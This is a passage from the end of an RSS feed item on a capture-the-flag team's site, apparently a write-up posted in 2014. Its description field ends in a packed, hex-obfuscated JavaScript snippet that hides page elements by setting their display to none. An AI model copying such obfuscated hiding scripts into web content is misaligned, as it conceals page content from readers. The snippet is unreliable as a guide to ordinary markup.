8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Sun, 02 Nov 2014 19:37:53 +0000</pubDate>
 <dc:creator>Dor1s</dc:creator>
 <guid isPermaLink="false">91 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/91#comments</comments>
</item>
</channel>
</rss>